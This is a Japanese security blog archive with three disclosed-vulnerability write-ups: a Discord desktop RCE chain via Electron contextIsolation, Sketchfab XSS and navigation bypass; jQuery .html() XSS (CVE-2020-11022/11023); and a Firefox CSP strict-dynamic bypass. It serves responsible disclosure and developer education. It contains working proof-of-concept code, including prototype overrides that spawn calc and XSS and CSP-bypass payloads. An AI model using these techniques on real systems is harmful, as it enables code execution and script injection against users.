ラベル Vulnerability の投稿を表示しています。 すべての投稿を表示
ラベル Vulnerability の投稿を表示しています。 すべての投稿を表示

2020/10/18

DiscordデスクトップアプリのRCE

数か月前、ゲームのコミュニティなどで人気のチャットアプリ「Discord」のデスクトップ用アプリケーションに任意のコードを実行可能な問題を発見し、Bug Bounty Programを通じて報告しました。発見したRCEは、複数のバグを組み合わせることによって達成される面白いものだったので、この記事では、その詳細を共有したいと思います。なお、現在脆弱性は修正されています。

調査のきっかけ

Electronアプリの脆弱性を探したい気分だったので、Electronアプリで報奨金が出るアプリを探していたところ、Discordが候補にあがりました。Discordは自分自身が利用者で、自分が使うアプリが安全かどうかをチェックしたいという思いもあったので、調査をすることにしました。

発見した脆弱性

私は主に次の3つのバグを組み合わせることでRCEを達成しました。

  1. contextIsolationオプションの不使用
  2. 埋め込みコンテンツのXSS
  3. ナビゲーション制限のバイパス(CVE-2020-15174)

1つずつ紹介していきます。

contextIsolationオプションの不使用

Electronアプリを検査するとき、私がまず確認しているのが、ブラウザウィンドウを作成するときに使用するBrowserWindow APIで使われているオプションです。まずオプションをチェックして、レンダラ上に読み込まれたページのXSSなどを通じて任意のJavaScriptを実行できた場合に、RCEの達成ができそうかを確認します。

Discordのソースコードは公開されていませんが、ElectronのJS部分はローカルにasar形式で圧縮して保存されており、単に圧縮を解くことによって確認することができました。

メインウィンドウでは、以下のオプションが使用されていました。 

const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

ここで特にチェックすべき重要なオプションは、nodeIntegrationとcontextIsolationです。上記のコードから、Discordのメインウィンドウでは、nodeIntegrationはfalse、contextIsolationはfalse(使われているバージョン時点でのデフォルト)に設定されていることがわかりました。

nodeIntegrationがtrueになっていれば、レンダラ上に読み込まれたページのJavaScriptから、require呼び出しを介して、シンプルにNode.jsの機能を使うことができます。例えば、Windows上で電卓を呼び出すJavaScriptは次のようになります。

<script>
  require('child_process').exec('calc');
</script>

今回は、nodeIntegrationはfalseに設定されていたので、このように直接requireを使ってNode.jsの機能を使うことはできません。

しかしまだ、Node.js機能へのアクセスの可能性は残っています。もう1つ重要と言ったオプション、「contextIsolation」はfalseでした。RCEの可能性を排除したければ、この設定をfalseにすべきではありません。

contextIsolationが無効になっていると、Webページ上で実行されたJavaScriptが、Electron自体がレンダラで使っているJavaScriptコードや、プリロードスクリプト(以下、これらをWebページ外のJavaScriptコードと呼ぶこととします)の実行に影響を与えることができてしまいます。例えば、JavaScriptのビルトインメソッドであるArray.prototype.joinをWebページ上で別の関数で上書きした場合、Webページ外のJavaScriptコード上でjoinが使用されると、それらの箇所でも上書きされた関数が呼び出されるという具合になります。

この動作は危険です。というのも、これらのWebページ外のJavaScriptコードでは、Node.js機能へのアクセスがnodeIntegrationの設定にかかわらず許されており、Webページから上書きした関数でそれらのコードの実行に干渉することで、nodeIntegrationがfalseであっても、RCEを実現できる場合があるためです。

なお、そのようなトリックがElectronに存在することは、以前までは全く知られておらず、私も参加したCure53が2016年行ったElectronアプリケーションの検査の中で初めて発見されました。その後、Electron自体の問題として対処され、このcontextIsolationオプションが導入されたという背景があります。

その時の検査のレポートが以下に最近公開されたので、よければご覧ください。

Pentest-Report Ethereum Mist 11.2016 - 10.2017
https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view

また、私が以前イベントでこの問題について発表した資料も以下にあります。


contextIsolationは、WebページとWebページ外のJavaScriptコードとの間に別々のコンテキストを導入し、それぞれのコードの実行がそれぞれに影響を与えないようにします。RCEの可能性を排除するためには必ず有効にすべき機能ですが、今回Discordでは無効になっていました。

contextIsolationが無効になっていることが分かったので、Webページ外のJavaScriptコードに干渉することで任意のコードの実行を実現できるような箇所を探し始めました。

通常、私がElectronの検査でRCEのPoCを作成するときは、まずElectron自体がレンダラで使っているJavaScriptコードを利用してRCEを実現しようとします。これは、Electron自体がレンダラで使っているJavaScriptコードはどんなElectronアプリでも実行されるため、基本的には同じ攻撃コードでRCEを実現でき、簡単だからです。

スライドでは、ナビゲーション時に実行されるElectron内部のコードを利用してRCEできることを紹介しましたが、そのように利用できる箇所がいくつか存在しています。 (このあたりの方法については、いずれまとめたいと思います。) 

ただし、使用されているElectronのバージョンや設定されているBrowserWindowオプションなどによって、コードが変更されていたり、うまくそのコードに到達できないことがあり、今回はうまくいかなかったので、プリロードスクリプトにターゲットをうつしました。

すると、Discordは、プリロードスクリプトからWebページ上に関数を公開しており、DiscordNative.nativeModules.requireModule('モジュール名') を通じて、一部の許可されたモジュールを呼び出せるようにしていることがわかりました。ここで直接child_processなどのRCEに利用できるモジュールを使うことはできませんでしたが、ビルトインメソッドの上書きによって、公開されたモジュールの実行に干渉することで、RCEを実現できる箇所を発見しました。

以下がそのPoCです。discord_utils というモジュールが定義するgetGPUDriverVersionsをRegExp.prototype.testとArray.prototype.joinを以下のような関数で上書きした状態でdevTools上から呼び出すと、電卓が起動することを確認できました。

RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersionsは、以下のように、関数内でexecaというライブラリを使用してプログラムの実行を行おうとします。

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};

execaはnvidiaSmiPath変数で指定されたプログラム「nvidia-smi.exe」を実行しようとしていますが、RegExp.prototype.testとArray.prototype.joinを上書きしたことで、execa内部の処理で、引数がcalcに変更されます。

具体的には次の2か所を変更することで引数を取り換えています。

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

あとはこのスクリプトを実行する方法をアプリ上で発見すれば、実際にRCEが達成可能ということになります。

埋め込みコンテンツのXSS

任意のJavaScriptの実行からRCEが起きうることはわかったので、アプリ上でXSSを探し始めました。XSSが起きやすそうなオートリンク機能やMarkdownのサポートがありましたが、うまく作られているようでした。そこで私はiframeの埋め込み機能に目を付けました。iframeの埋め込み機能とは、YouTubeのURLを張り付けたときなどに動画プレーヤーが自動で展開され、チャット上で再生できるような機能のことです。

Discordは、URLが貼り付けられると、そのURLのOGP情報を取得しに行き、OGP情報がある場合は、ページのタイトルや概要、サムネイル画像や関連付けられた動画などをチャット上にインライン表示します。

このOGPから、動画のURL情報を取り出し、その"動画のURLが" 埋め込みを許可されたドメインにあり、埋め込み用ページのURLの形をしていれば、iframeの埋め込みが許可されます。

どのサービスがiframeへ埋め込まれるかは、どこかにドキュメント化されていなかったのでCSPのframe-srcディレクティブを見ることでヒントを得ました。以下がその時設定されていたCSPです。

Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

YouTubeやTwitch、Spotifyなど、明らかにiframeへの埋め込みを目的に許可されたドメインがあるのがわかります。私はこの中のサービスから、OGPの動画情報部分にURLを指定して、iframeに埋め込まれるかどうかを1つ1つ確認し、そのURL上にXSSがないか探しました。すると、ここにリストされているドメインの1つ「sketchfab.com」の埋め込み用URLで、URLが埋め込まれ、そのURL上でXSSを発見できました。私はこの時に初めてSketchfabを知ったのですが、3Dモデルを公開したり売買できるプラットフォームのようです。3Dモデルへ付加できる脚注中にシンプルなDOM-based XSSがありました。

以下は脆弱性レポート中でも使用した細工したOGPを持ったページです。このURLをチャットに投稿すると、Sketchfabのiframeがチャット上に表示され、iframe上で数回のクリック操作を実行するとスクリプトが発火していました。

https://l0.cm/discord_rce_og.html

<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

さて、XSSを発見したのはいいのですが、JavaScriptはまだiframe中で実行されています。Electronはiframe内にWebページ外のJavaScriptコードをロードしないので、iframeからビルトインメソッドを上書きしても、クリティカルな部分に干渉することができません。RCEのためには、iframeの外に出て、トップレベルブラウジングコンテキストでJavaScriptを実行する必要があります。これには、iframeから新しいウィンドウを開くか、topのウィンドウをiframeから別のURLへナビゲートする必要がありそうです。

新しいウィンドウのオープンとtopウィンドウのナビゲーションは、Mainプロセス側の以下のコードで、"new-window"および"will-navigate"イベントを監視することで制限されているようでした。

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

このコードを見る限りでは、うまく新しいウィンドウのオープンとナビゲーションを制限しているように見えました。ところが、予想外のことが起きました。

ナビゲーション制限のバイパス(CVE-2020-15174)

ひとまずブロックされる様子を見てみようと思い、実際に動かしてみると、iframeからtopへのナビゲーションがなぜかブロックされなかったのです。普通は、ナビゲーションが発生する前にwill-navigateイベントによって捕捉され、preventDefault()によってナビゲーションは中断されるはずです。

不思議に思い、この動作を模倣する小さなElectronアプリを作って確かめてみると、iframeから発生したtopへのナビゲーションから、will-navigateイベントがなぜか送出されていないことがわかりました。iframeのURLがtopと同一オリジンの場合はちゃんと送出されるのですが、どうやらクロスオリジンにあると送出されないようなのです。クロスオリジンのときだけイベントが送出されない特別な理由があるとは思えないので、Electronのバグであると考え、後でElectron Teamへ報告することにしました。

このバグに助けられ、ナビゲーション制限をバイパスすることができました。あとは、iframe内のXSSを使って、top.location="//l0.cm/discord_calc.html"などとして、topをRCEを実行するコードを含んだページへナビゲートするだけです。

このように、3つのバグを組み合わせ、以下の動画のように電卓を実行することができました。


おわりに

これらの問題は、DiscordのBug Bounty Programを通じて報告しました。まず、Sketchfabの埋め込みが無効化され、iframeにsandbox属性をつけることでiframeからナビゲーションを起こせないような回避策がとられました。その後、しばらくしてcontextIsolationが有効化され、任意のJavaScriptを実行できたとしても、ビルトインメソッドの上書きからRCEが起きないようになりました。この発見の報奨金として$5,000をいただきました。

SketchfabのXSSは、SketchfabのBug Bounty Programを通じて報告し、修正されました。こちらも$300の報奨金をいただきました。

will-navigateイベントが送出されない動作はElectronのバグとしてElectronのセキュリティ窓口を通じて報告したところ、以下のように脆弱性(CVE-2020-15174)として修正されました。

Unpreventable top-level navigation · Advisory · electron/electron
https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

以上、Electronアプリ「Discord」の脆弱性について紹介しました。アプリ自体のコードとは無関係の、外部ページのXSSやElectronのバグのせいでRCEに繋がっている点が個人的にはとても面白いと思います。2016年頃にElectronに初めて触れたときは、XSSがあれば一発RCEの危険なプラットフォームという印象でしたが、現在はElectronのデフォルトでcontextIsolationを有効化するなど、安全側に倒そうとする動きがあり、少しずつセキュリティ面が改善されてきているように思います。いいことですね。

この記事がElectronアプリを安全にするための一助となれば幸いです。

2020/05/18

CVE-2020-11022/CVE-2020-11023: jQuery 3.5.0で修正されたSecurity Fixの詳細

English version is here: https://mksben.l0.cm/2020/05/jquery3.5.0-xss.html


先月、jQuery 3.5.0がリリースされました。
このバージョンでは、僕が報告した問題がSecurity Fixとして含まれています。

jQuery 3.5.0 Released! | Official jQuery Blog
https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/

報告したバグは、CVE-2020-11022、 CVE-2020-11023 として採番されています。

https://github.com/advisories/GHSA-gxr4-xjj5-5px2
https://github.com/advisories/GHSA-jpcq-cgw6-v4j6

少し遅くなりましたが、この記事では、この問題がどんなものであったかを紹介します。

問題の概要


この問題の影響を受けるのは、次のようなアプリケーションです。

  • ユーザに、XSSが起きない範囲で、好きなHTMLを使用させる機能がある
  • そのHTMLをjQueryで動的にページへ追加している

このような機能を持つアプリケーションを、シンプルなコードで表してみます。
<div id="div"></div>
<script>
//サーバ側でサニタイズされた安全なHTML
sanitizedHTML = '<p title="foo">bar</p>';
//divにHTMLを追加
$('#div').html(sanitizedHTML);
</script>
この状況では、通常、適切にサニタイズが行われているのであれば、ただ安全なHTMLを追加しているだけなので、XSSが発生することはないように思えます。しかし、実際には、.html()は内部で特別な文字列処理を行っており、この処理のせいでXSSが発生する場合がありました。これが今回の問題です。

XSSが起きる例


いくつかバリエーションがあるのですが、3つ例を示します。
次の3つはいずれも本来スクリプトが実行されないHTMLです。
例1.
<style><style /><img src=x onerror=alert(1)> 
例2. (jQuery 3.x以降のみ影響)
<img alt="<x" title="/><img src=x onerror=alert(1)>">
例3.
<option><style></option></select><img src=x onerror=alert(1)></style>
onerrorを持ったimgタグがあるように見えるかもしれませんが、よく見ると、属性内にあったり、style要素の内側に置かれていて、それらは実際には実行されないものです。これらがサニタイズ済みの安全なHTMLとして生成されたとしても、なんら不自然ではありません。

しかしながら、いずれも、.html()を通して追加されると、本来は実行されないスクリプトが実行されてしまいます。

それぞれの例を以下で実際に実行できます。
https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html

なぜ実行されたのか詳しくみていきます。

CVE-2020-11023: 問題の原因(例1と2)


例の1と2は同じ原因で発生します。.html()の内部では、引数のHTML文字列が $.htmlPrefilter() というメソッドに渡されます。htmlPrefilterでは、<tagname />のようなself-closingタグを、次の正規表現を使った置換によって、<tagname ></tagname>のような形に戻す処理を行います。

rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi
[...]
htmlPrefilter: function( html ) {
  return html.replace( rxhtmlTag, "<$1></$2>" );
} 
この置換処理に例1のHTMLを通した時の出力は以下になります。
> $.htmlPrefilter('<style><style /><img src=x onerror=alert(1)>')
< "<style><style ></style><img src=x onerror=alert(1)>"
黄色部分が置換された箇所です。この置換により、style要素の内側にあった<style />が<style ></style>となり、それ以降の文字がstyle要素の外にはみ出てしまいました。.html()はこの後、置換後の文字列をinnerHTMLへ代入します。そこで、本来style要素の内側にあった<img ...>がタグとして現れ、onerrorが発火してしまいます。これが例1が発火するメカニズムです。

なお、上記の正規表現はjQuery3.x以前に使われていたもので、3.x以降は以下のように少し変更されています。

https://github.com/jquery/jquery/commit/fb9472c7fbf9979f48ef49aff76903ac130d0959#diff-169760a97de5c86a886842060321d2c8L30-R30
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi

この変更によって、より簡単な要素・属性で、XSSを引き起こすことが可能になりました。
例2はこの変更によって生まれた新たなベクターです。jQuery3.x以降でのみ動作します。
> $.htmlPrefilter('<img alt="<x" title="/><img src=x onerror=alert(1)>">')
< "<img alt="<x" title="></x"><img src=x onerror=alert(1)>">"
こちらは属性内にある文字列がはみ出してXSSが発生しています。

これが例1と2の原因でした。

jQuery側の修正(例1と2)


$.htmlPrefilter()を、渡された文字列をそのまま返す関数に変更することで対処されました。

https://github.com/jquery/jquery/commit/90fed4b453a5becdb7f173d9e3c1492390a1441f#diff-169760a97de5c86a886842060321d2c8L201-R198

しかし、これで全ての問題が解決したわけではありませんでした。.html()内部ではさらに別の文字列処理が行われており、それが原因で例3が発生します。

CVE-2020-11022: 問題の原因(例3)


.html()内部では、引数に渡されたHTMLの先頭に出てくるタグが特定のタグであった場合、他のタグで一度ラップしてから処理を行おうとします。これは、ラップされている状態でないと、処理途中で勝手に消されてしまうような要素がブラウザの仕様やバグのために存在するからです。

option要素はそのような要素の1つです。IE9限定ではありますが、IE9のバグによってselect要素がないと消されてしまいます。jQueryはこれに対処するために、例えば、<option>aaa</option>のような、最初に出てくる要素がoption要素のHTML文字列が渡されると、<select multiple='multiple'>と</select>で全体をラップして処理を行おうとします。

ラップを行うタグは以下のファイルで定義されています。
https://github.com/jquery/jquery/blob/3.4.1/src/manipulation/wrapMap.js#L9

実際のラップは以下で行われます。
https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation/buildFragment.js#L39

例3は、このラップの処理が原因で発生していました。
例3のHTMLがラップ処理を通ると、次のHTMLが組み立てられます。
<select multiple='multiple'><option><style></option></select><img src=x onerror=alert(1)></style></select>
これがjQueryの内部のコード中でinnerHTMLへ代入されるとき、スクリプトが実行されます。

スクリプトが実行される理由はselect要素のパース方法にあります。select要素の内側では、option、optgroup、script、template要素以外のHTMLタグは置くことができません。この仕様によって、ここに書かれた<style>は無視され、<style>の内側にあった</select>が閉じタグとして作用し、select要素がそこで終了します。後続の<img ...>が<style>からはみ出た結果、onerrorが発火します。これが例3の原因でした。

jQuery側の修正(例3)


このラップ処理をIE9だけに適用することで対処されました。

https://github.com/jquery/jquery/commit/966a70909019aa09632c87c0002c522fa4a1e30e#diff-51ec14165275b403bb33f28ce761cdedR25

そうすると、IE9は脆弱なままに思えますが、実際には問題ありません。というのも、詳しくは触れませんが、IE9は他のブラウザとは異なる奇妙な規則でselect要素の内側に置かれた<style>のパースを行うため、この問題の影響を受けないからです。

ちなみに、これらの問題は、.html()だけではなく、.append()、$('<tag>')のような、HTMLを生成/追加する際に$.htmlPrefilter()やラップ処理を通すその他のAPIでも発生します。

更新しましょう


サニタイズしたHTMLをjQueryで追加している覚えのある人は3.5.0以降へのアップデートを推奨します。
アップデートが何らかの理由で難しい場合は、DOMPurifyを使ってサニタイズを行うことをお勧めします。DOMPurifyは、SAFE_FOR_JQUERYという、このバグを考慮したサニタイズを行うオプションがあるためです。例えば、次のように使います。
<div id="div"></div>
<script>
unsafeHtml = '<img alt="<x" title="/><img src=x onerror=alert(1)>">';
var sanitizedHtml = DOMPurify.sanitize( unsafeHtml, { SAFE_FOR_JQUERY: true } );
$('#div').html( sanitizedHtml );
</script>
なお、DOMPurifyでは最近バイパスが見つかっています。既にDOMPurifyをSAFE_FOR_JQUERYと共に使っている人は、バイパスに対処した2.0.8以降にアップデートしていることを確認してください。

おわりに


この問題を調査したきっかけは、@PwnFunctionさんによる以下のXSSチャレンジでした。
https://xss.pwnfunction.com/challenges/ww3/

実はこのバグの一部は以前から既知で、このチャレンジではそれが想定解となっていました。(実際、DOMPurifyでは、2014年には既にSAFE_FOR_JQUERYオプションが導入されており、相当前から知られていた問題であることがわかります。)

今回、このチャレンジをきっかけに改めてjQueryのソースを読んでみました。その過程で、今まで言及されていなかった「例2」のベクターを発見しました。このケースは、かなりベーシックなHTML要素・属性だけで攻撃が可能で、多くの開発者が知らずに脆弱性を作りこんでいるのではないかと考え、実際に調べてみると、すぐにXSSが可能なアプリが見つかりました。影響を受けるアプリの開発元に報告をすると同時に、本来はjQueryが修正すべき問題だという思いを持ち、今回報告に至りました。jQueryのメンテナの方々は、破壊的な変更をしなければならなかったにもかかわらず、迅速に問題に対処してくれました。素早い対応に感謝します。また、この問題を調査するきっかけをくれたXSSチャレンジ作成者の@PwnFunctionさんにも感謝します。

以上、jQuery 3.5.0で修正された脆弱性について説明しました。この記事がjQueryを使ったアプリをセキュアにする助けとなれば嬉しいです。

2018/05/24

CVE-2018-5175: FirefoxでCSPのstrict-dynamicバイパス

English version is here: https://mksben.l0.cm/2018/05/cve-2018-5175-firefox-csp-strict-dynamic-bypass.html


Firefox 60で修正されたContent Security Policy(CSP)のstrict-dynamicをバイパスできた脆弱性について書きます。

https://www.mozilla.org/en-US/security/advisories/mfsa2018-11/#CVE-2018-5175
A mechanism to bypass Content Security Policy (CSP) protections on sites that have a script-src policy of 'strict-dynamic'. If a target website contains an HTML injection flaw an attacker could inject a reference to a copy of the require.js library that is part of Firefox’s Developer Tools, and then use a known technique using that library to bypass the CSP restrictions on executing injected scripts.

strict-dynamicとは


まず簡単にCSPについておさらいしながら、strict-dynamicが誕生した背景を少し書いておきます。
従来のCSPは、ドメインをホワイトリストする形でリソースのロードを制限します。
例えば、次のCSP設定は、自分自身のオリジンと trusted.example.com からのみ、JavaScriptのロードを許可します。
Content-Security-Policy: script-src 'self' trusted.example.com
これで、 XSSがあった場合にも、evil.example.org からスクリプトをロードされたり、インラインのスクリプトを実行されることはなくなります。十分安全に思えますが、trusted.example.com にCSPのバイパスに都合の良いスクリプトが置かれている場合などに、まだ悪意あるスクリプトを実行される可能性が残っています。具体的には、trusted.example.com に JSONP がある場合などです。
以下は、このCSP設定の下で、完全にロードが許可されるスクリプトです。
<script src="//trusted.example.com/jsonp?callback=alert(1)//"></script>
このAPIがcallbackパラメータに渡された入力をcallback関数部分に直接反映するものであれば、以下のように、任意のスクリプトとして利用できてしまいます。
alert(1)//({});
その他にも、AngularJSがロードできるとバイパスが起こることが知られています。特に、CDNなどの、多くのJavaScriptをホストしているドメインを許可した場合には、この可能性がより現実的になります。

このように、ホワイトリストでは、CSPを安全に運用することが難しい場合があります。そこで考えられたのがstrict-dynamicです。このオプションを次のように設定したとします。
Content-Security-Policy: script-src 'nonce-secret' 'strict-dynamic'
すると、ホワイトリストは無効化され、nonce属性がsecretという値を含んだスクリプトのみがロードされるようになります。
<!-- これはロードされる -->
<script src="//example.com/assets/A.js" nonce="secret"></script>

<!-- これはロードされない -->
<script src="//example.com/assets/B.js"></script>
このとき、A.jsがさらに別のJavaScriptをロードして使いたい場合も考えられます。こういった場合、特定の条件でロードされれば、nonceをつけなくてもロードが許可されるようになっています。仕様で書かれている言葉を使うと、non-"parser-inserted" なスクリプト要素は、スクリプトを使ってロードすることが許可されます。
どのようなものが許可されるか、以下に具体例を示します。
/* A.jsのコード */

//これはロードされる
var script=document.createElement('script');
script.src='//example.org/dependency.js';
document.body.appendChild(script);

//これはロードされない
document.write("<scr"+"ipt src='//example.org/dependency.js'></scr"+"ipt>");
createElement()などを使ってロードする場合が、non-"parser-inserted"なスクリプト要素となり、ロードが許可されます。一方で、document.write()などを使って書き出す場合は、parser-inserted なスクリプト要素となり許可されません。

ここまで、strict-dynamicの動作をおおまかに説明しました。

より詳しくは仕様を参照してください。

さて、strict-dynamicを使えば、全くバイパス不可能かというとそうでもありません。
次に、strict-dynamicの既知のバイパス手法について紹介します。

既知のstrict-dynamicバイパス


ターゲットのページで特定のライブラリが使われている場合に、strict-dynamicもバイパス可能であることが知られています。

GoogleのSebastian Lekies氏、Eduardo Vela Nava氏、Krzysztof Kotowicz氏によって、影響を受けるライブラリがまとめられています。strict-dynamicのバイパスだけではなく、ライブラリから生じるその他のCSPのバイパスもまとめられています。

この中の、require.js のstrict-dynamicのバイパスをみてみましょう。
ターゲットのページが、strict-dynamicを設定したCSPを持ち、require.jsをロードしており、シンプルなXSSを持っているとします。このとき、次のようなスクリプト要素が挿入されると、nonceを知らなくても、任意のスクリプトを実行できてしまいます。
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<!-- XSS END -->
<script nonce="secret" src="require.js"></script>
require.jsは、data-main属性を持ったscript要素をみつけると、以下と同等のコードから、新たなスクリプトをロードするようになっています。
var node = document.createElement('script');
node.src = 'data:,alert(1)';
document.head.appendChild(node);
前述したように、 strict-dynamicが設定されているページにおいて、createElement()からスクリプトをロードする場合は、nonceがなくてもロードが許可されます。このように、既にロードされているJavaScriptのコードの動作を使って、場合によってはstrict-dynamicもバイパスできます。

今回のFirefoxの脆弱性は、このrequire.jsの動作のおかげで発生していました。
本題のFirefoxの脆弱性について解説していきます。

Firefoxでstrict-dynamicバイパス(CVE-2018-5175)


Firefoxは、一部のブラウザの機能をレガシーな拡張機能を使って実装しています。レガシーな拡張機能とは、WebExtensionsではなく、FirefoxがFirefox 57でサポートを廃止したXUL/XPCOMベースの拡張機能のことです。現在最新のFirefox 60でも、ブラウザ内部ではまだこの仕組みを使っている部分があります。

このバイパスでは、ブラウザ内部で使われている、レガシーな拡張機能のリソースを使います。WebExtensionsでは、マニフェストの web_accessible_resources で指定した拡張機能のリソースは、任意のウェブページからロードできるように設定できます。これと同じように、レガシーな拡張機能のマニフェストにも、contentaccessible というオプションがあり、任意のウェブページから拡張機能のリソースのロードを許可できます。今回のバイパスでは、ブラウザ内部のリソースであるrequire.jsが、このオプションによって、ウェブアクセシブルな状態で公開されていたことで、バイパスに利用できてしまっていました。

マニフェストを見てみましょう。Windowsの64bitのFirefoxであれば、次のURLをFirefoxで開くことでマニフェストの内容を確認できます。

jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/chrome.manifest
content branding browser/content/branding/ contentaccessible=yes
content browser browser/content/browser/ contentaccessible=yes
skin browser classic/1.0 browser/skin/classic/browser/
skin communicator classic/1.0 browser/skin/classic/communicator/
content webide webide/content/
skin webide classic/1.0 webide/skin/
content devtools-shim devtools-shim/content/
content devtools devtools/content/
skin devtools classic/1.0 devtools/skin/
locale branding ja ja/locale/branding/
locale browser ja ja/locale/browser/
locale browser-region ja ja/locale/browser-region/
locale devtools ja ja/locale/ja/devtools/client/
locale devtools-shared ja ja/locale/ja/devtools/shared/
locale devtools-shim ja ja/locale/ja/devtools/shim/
locale pdf.js ja ja/locale/pdfviewer/
overlay chrome://browser/content/browser.xul chrome://browser/content/report-phishing-overlay.xul
overlay chrome://browser/content/places/places.xul chrome://browser/content/places/downloadsViewOverlay.xul
overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul
overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul
override chrome://global/content/license.html chrome://browser/content/license.html
override chrome://global/content/netError.xhtml chrome://browser/content/aboutNetError.xhtml
override chrome://global/locale/appstrings.properties chrome://browser/locale/appstrings.properties
override chrome://global/locale/netError.dtd chrome://browser/locale/netError.dtd
override chrome://mozapps/locale/downloads/settingsChange.dtd chrome://browser/locale/downloads/settingsChange.dtd
resource search-plugins chrome://browser/locale/searchplugins/
resource usercontext-content browser/content/ contentaccessible=yes
resource pdf.js pdfjs/content/
resource devtools devtools/modules/devtools/
resource devtools-client-jsonview resource://devtools/client/jsonview/ contentaccessible=yes

resource devtools-client-shared resource://devtools/client/shared/ contentaccessible=yes
黄色い箇所が、問題のファイルを公開に設定している部分です。この2行は、resource: URIを作成するためにあります。最初のresource devtools devtools/modules/devtools/の行は、resource://devtools/ というURL に devtools/modules/devtools/ のディレクトリ( jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/devtools/modules/devtools/ にあるディレクトリ )をマッピングするという意味になります。これで、Firefoxから resource://devtools/ を開くことで、ディレクトリ以下のファイルへアクセスできるようになります。次の行も同様に、resource://devtools-client-jsonview/ へのマッピングを行っています。このURLが、contentaccessible=yesと設定されており、このディレクトリ以下に置かれたファイルを任意のページからロードできるようにしています。このディレクトリに問題のrequire.jsがあります。

require.jsを発見したら、あとはstrict-dynamicが設定されたページからロードするだけです。実際のバイパスは次のようになります。

https://vulnerabledoma.in/fx_csp_bypass_strict-dynamic.html
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<script  src="resource://devtools-client-jsonview/lib/require.js"></script>
<!-- XSS END -->

これで、data: URLがロードされ、アラートが実行されます。
あれ、strict-dynamicはnonceが必要だから、そもそもrequire.js自体ロードされないんじゃないか?と思うかもしれません。実は、どんなに厳しくCSPを設定しても、拡張機能のウェブアクセシブルなリソースはCSPを無視してロードされます。この動作はCSPの仕様でも触れられており、CSPは拡張機能やブックマークレットの機能を妨害すべきでないと明記されています。

Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].
Firefoxのresource: URIにもこの規則が適用されていました。このおかげで、利用者は、CSPが設定されているページでも、期待通りに拡張機能を動作させることができますが、一方で、今回のように、この特権をCSPのバイパスに利用される可能性も作ってしまっています。もちろん、この問題が起きるのはブラウザのリソースに限ったことではありません。一般の拡張機能でも、ウェブアクセシブルに設定されたリソースにバイパスに利用できるものがあれば、同じことが起きます。
今回は、ブラウザの内部リソースに問題のファイルがあったため、特定の拡張機能がインストールされているかどうかにかかわらず、デフォルトで全てのFirefoxでバイパスへの利用を許してしまっていました。修正後は、resource: URIにもCSPを適用するようになったようです。

終わりに


Firefoxの、CSPのstrict-dynamicをバイパスできた脆弱性について書きました。

ちなみにこの問題は、今年Cure53で出題したXSS Challengeの、Cure53 CNY Challenge 2018 の別解がないか探していた時に発見しました。こちらもstrict-dynamicをバイパスするチャレンジになっているので、興味がある方はご覧ください。
また、この別バージョンのXSS Challengeも現在出題中なので、ぜひトライしてみてください。

